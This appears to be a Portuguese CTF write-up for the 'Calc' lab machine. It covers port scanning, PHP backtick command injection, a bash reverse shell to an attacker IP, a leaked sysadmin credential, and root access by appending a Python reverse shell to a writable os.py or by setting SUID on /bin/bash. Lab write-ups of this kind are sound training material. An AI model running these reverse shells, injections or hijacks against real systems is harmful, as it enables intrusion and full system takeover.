- Published on
Calc Writeup
- Authors
- Name
- Gabriel Silva
- @gabriel-silva-509347165
Plataforma: Hacking Club
Dificuldade: Easy
Nome: Calc
Port Scanning
nmap -sV -sC -p- -v $IP --open
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 b6:e6:c1:f0:e4:01:a0:e5:c0:fb:84:e1:4f:ed:62:c3 (RSA)
| 256 f5:6d:d7:13:c7:3a:c4:63:a1:38:f0:f3:65:83:82:3e (ECDSA)
|_ 256 ca:f8:f2:bf:b8:25:08:77:39:0c:c3:53:0f:cc:9f:40 (ED25519)
80/tcp open http Apache httpd 2.4.46 (() PHP/7.4.19)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Calc
|_http-server-header: Apache/2.4.46 () PHP/7.4.19
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
Somente as portas 22 (SSH), 80 (HTTP) e 111 (RCP) estão abertas.
http://172.16.7.88
Aplicação se trata de uma calculadora online.
Caputrei a requisição com o Burp.
Testando command injection
Por se tratar de uma aplicação em php, a gente pode testar passar os famosos ‘backticks’, pois o php entende que deve executar o que estiver entre ```` .
Nesse caso passei o id
no parâmetro calc.
Foot Hold
bash -c 'exec bash -i &>/dev/tcp/10.0.31.150/1337 <&1'
crtl+u
pra encodar no burp.
Lateral Movement
Credencial do usuário sysadmim
encontrada no histórico do bash.
sysadmin:55371a2307eb5fee50f54dc93224e96f
Privillege Escalation
sudo -l
Podemos executar o calc.py
como root; no entanto, não temos privilégios de escrita no script.
Olhando o script, podemos ver que ele importa o modulo os
do python, que é o modulo responsável pela execução de comandos do sistema.
Pra fazer o library hijacking a gente precisa ter permissão de modificar a biblioteca do os.py, que o caso fica no diretório: /usr/lib64/python3.7/os.py
Nesse caso temos permissão de escrita.
Com isso, podemos adicionar uma reverse-shell em python de dentro da lib.
Basta colocar a reverse-shell na ultima linha do arquivo:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.31.150",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
Por fim, só executar o comando: sudo /usr/bin/python3 /opt/pycalc/calc.py
Privillege Escalation 2 (Unintended)
Olhando o diretório em que o arquivo pertence, podemos verificar que temos permissão de escrita nele diretamente.
Ou seja, podemos simplesmente deletar o calc.py
e criar outro.
import os
os.system("chmod u+s /bin/bash")